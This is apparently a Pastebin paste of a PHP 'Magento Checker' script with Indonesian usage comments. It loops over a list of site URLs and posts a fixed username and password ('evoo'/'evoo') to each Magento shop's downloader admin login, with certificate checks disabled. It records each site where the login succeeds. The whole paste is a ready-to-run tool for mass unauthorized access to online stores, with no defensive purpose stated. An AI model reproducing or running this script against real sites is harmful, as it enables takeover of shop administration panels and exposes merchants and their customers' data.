Advertisement
Evoo

Magento Checker

Nov 19th, 2015
774
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.91 KB | None | 0 0
  1. <?php
  2. /*
  3. How To Usage This Script
  4. c:\root\php>php this.php list.txt
  5. list.txt isinya harus pake http/https url ;)
  6. */
  7. $g=@file_get_contents($argv[1]);
  8. $ss=explode("\r\n",$g);
  9. foreach ($ss as $links){
  10. $ch = curl_init();
  11. curl_setopt($ch, CURLOPT_URL, "$links/downloader/index.php");
  12. curl_setopt($ch, CURLOPT_POST, true);
  13. curl_setopt($ch, CURLOPT_POSTFIELDS, "username=evoo&password=evoo");
  14. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  15. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  16. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  17. curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  18. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  19. $res = curl_exec($ch);
  20. curl_close($ch);
  21.  
  22. if(preg_match("/Log Out/",$res)){
  23. print "[+]Success $links\n ";
  24. $fp = fopen('hasil.html', 'a+');
  25.              fwrite($fp, "$links"."<br>");
  26.              fclose($fp);
  27. }else{
  28. print "[!]Not Valid\n";
  29. }
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement